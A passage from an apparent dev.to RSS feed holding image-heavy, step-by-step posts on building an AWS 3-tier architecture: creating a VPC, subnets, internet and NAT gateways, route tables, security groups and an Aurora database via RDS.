&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3jy20dntzhe6oap3qjwa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3jy20dntzhe6oap3qjwa.png" alt="Image description" width="800" height="429"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7bpqigjyum2gjbznbz8w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7bpqigjyum2gjbznbz8w.png" alt="Image description" width="800" height="362"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Upload the file&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fficxbsf0p36xpu16lfvp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fficxbsf0p36xpu16lfvp.png" alt="Image description" width="800" height="284"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1dhz5z32haqvh6xcj3a0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1dhz5z32haqvh6xcj3a0.png" alt="Image description" width="800" height="375"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fghe5gro5xyoqp05i7ost.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fghe5gro5xyoqp05i7ost.png" alt="Image description" width="800" height="355"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx7yl16kb3lpyismacl13.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx7yl16kb3lpyismacl13.png" alt="Image description" width="800" height="329"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>AWS 3-Tier Architecture Part-3</title>
      <dc:creator>D3fender0</dc:creator>
      <pubDate>Wed, 09 Apr 2025 17:10:52 +0000</pubDate>
      <link>https://dev.to/vasanthbal5220/aws-3-tier-architecture-part-3-3oc6</link>
      <guid>https://dev.to/vasanthbal5220/aws-3-tier-architecture-part-3-3oc6</guid>
      <description>&lt;p&gt;Lets Start with creating subnet group for our database , open RDS and in that open subnet group&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdxtktrfk42mfjvi6qmgr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdxtktrfk42mfjvi6qmgr.png" alt="Image description" width="800" height="278"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next add the Availability zone and add the private subnet 1 and 2 which is in app tier&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn4tufclf58v0d170t6vr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn4tufclf58v0d170t6vr.png" alt="Image description" width="800" height="291"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lets create the database,first select standard create and select engine as aurora&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqrrnq7664retrxsqx3k6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqrrnq7664retrxsqx3k6.png" alt="Image description" width="800" height="321"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Select template as dev/test&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4bor4w9s4xraarelwrtt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4bor4w9s4xraarelwrtt.png" alt="Image description" width="738" height="290"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;select self managed and click aurora standard&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fddi9bmt2rmlsm2hhijfr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fddi9bmt2rmlsm2hhijfr.png" alt="Image description" width="800" height="306"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Select the Vpc and security group for the db&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftpju4l8b4ogrka9et2tj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftpju4l8b4ogrka9et2tj.png" alt="Image description" width="800" height="307"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now click create database&lt;/p&gt;

</description>
    </item>
    <item>
      <title>AWS 3-Tier Architecture Part-2</title>
      <dc:creator>D3fender0</dc:creator>
      <pubDate>Wed, 09 Apr 2025 17:03:31 +0000</pubDate>
      <link>https://dev.to/vasanthbal5220/aws-3-tier-architecture-part-2-ipg</link>
      <guid>https://dev.to/vasanthbal5220/aws-3-tier-architecture-part-2-ipg</guid>
      <description>&lt;p&gt;First create a Vpc and give 10.0.0.0/16 in ipv4 and create the Vpc&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F93igy0yu158plzeqql6m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F93igy0yu158plzeqql6m.png" alt="Image description" width="800" height="284"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzwwp1wt8nlyetjl2nahe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzwwp1wt8nlyetjl2nahe.png" alt="Image description" width="800" height="188"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next create 4 private subnet and 2 public subnet for the aws-3-tier-workshop and create tag if needed as shown below&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fin2k8m4yi2rskdtr402q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fin2k8m4yi2rskdtr402q.png" alt="Image description" width="800" height="309"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff4npufkvbhivsepmzjq9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff4npufkvbhivsepmzjq9.png" alt="Image description" width="800" height="264"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw7ot2s8tb5o7aygcywht.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw7ot2s8tb5o7aygcywht.png" alt="Image description" width="800" height="251"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftjzwotlqbjk240e1dwjo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftjzwotlqbjk240e1dwjo.png" alt="Image description" width="800" height="253"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6ck1uhmxbplxafl09egz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6ck1uhmxbplxafl09egz.png" alt="Image description" width="800" height="260"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foic4l7mnvuzit2l2r4w4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foic4l7mnvuzit2l2r4w4.png" alt="Image description" width="800" height="290"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we have completed creating all 6 subnets&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjc92xmeyl13g66ksswmf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjc92xmeyl13g66ksswmf.png" alt="Image description" width="728" height="262"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we have to create internet gateway as shown below&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp5um5bt8ip9cccbxw2zq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp5um5bt8ip9cccbxw2zq.png" alt="Image description" width="800" height="217"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we are going to attach the Internet gateway to the vpv as shown below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm1th1a58q9hs32x7cqv1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm1th1a58q9hs32x7cqv1.png" alt="Image description" width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lets now create a NAT gateway for both public subnets&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqzbtxep73kw599hzpia2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqzbtxep73kw599hzpia2.png" alt="Image description" width="741" height="287"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzjvo2dfbgt4786ay93cx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzjvo2dfbgt4786ay93cx.png" alt="Image description" width="767" height="278"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq49c7yi8m3quhmy3pa2b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq49c7yi8m3quhmy3pa2b.png" alt="Image description" width="800" height="233"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we have to create route table&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn5h1du1d9zh5v31cy1h4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn5h1du1d9zh5v31cy1h4.png" alt="Image description" width="800" height="187"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we have to edit the route table by adding the internet gateway and save it as below&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwpjnihvv5v65siekacs9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwpjnihvv5v65siekacs9.png" alt="Image description" width="800" height="212"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F46fwghg7uphwptrf2asz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F46fwghg7uphwptrf2asz.png" alt="Image description" width="719" height="306"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now on subnet assoociation and add the 2 public subnet and save it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faz6d5aek9wrwkw34nwmf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faz6d5aek9wrwkw34nwmf.png" alt="Image description" width="800" height="251"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we have to create 2 route table for 2 nat gateways&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb36mcwqy6h294d6el1c9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb36mcwqy6h294d6el1c9.png" alt="Image description" width="800" height="285"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now edit the route table and add the both nat gateway 1 and 2 for both the route table&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fomln281ji1argw5cjihb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fomln281ji1argw5cjihb.png" alt="Image description" width="800" height="228"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz6sx4s1gsxcq7eymw3kl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz6sx4s1gsxcq7eymw3kl.png" alt="Image description" width="800" height="233"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next in subnet association connect the first private subnet to first route table and the 2nd private subnet to the second route table&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhjl0qmpqh99uft5x08ry.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhjl0qmpqh99uft5x08ry.png" alt="Image description" width="800" height="231"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffqqp1ev7iwvqmiv4dv6j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffqqp1ev7iwvqmiv4dv6j.png" alt="Image description" width="800" height="290"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmw1phd6cuia6a5otthjb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmw1phd6cuia6a5otthjb.png" alt="Image description" width="800" height="290"&gt;&lt;/a&gt;&lt;br&gt;
next we have to create 5 Security groups,first lets create security group for internet facing lb ,edit onlt the outbound rules&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgxfe39dn9aebb8e0bts1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgxfe39dn9aebb8e0bts1.png" alt="Image description" width="800" height="297"&gt;&lt;/a&gt;&lt;br&gt;
next lets create security group for web tier , edit only the inbound rules&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhu08p1wtq0uq7ydvpc28.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhu08p1wtq0uq7ydvpc28.png" alt="Image description" width="800" height="359"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwh7qeeohgw1x1w6s8la7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwh7qeeohgw1x1w6s8la7.png" alt="Image description" width="786" height="293"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfcdx270kkyf4ufq9u8q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfcdx270kkyf4ufq9u8q.png" alt="Image description" width="800" height="286"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next create security group for internal load balancer and in inbound rules connect the security group of web tier&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff16128teqhnry5bygslh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff16128teqhnry5bygslh.png" alt="Image description" width="800" height="322"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we have to create 4th security group for the app-tier we have to connect the security group of internal load balancer and in custom tcp we have to give port 4000&lt;/p&gt;

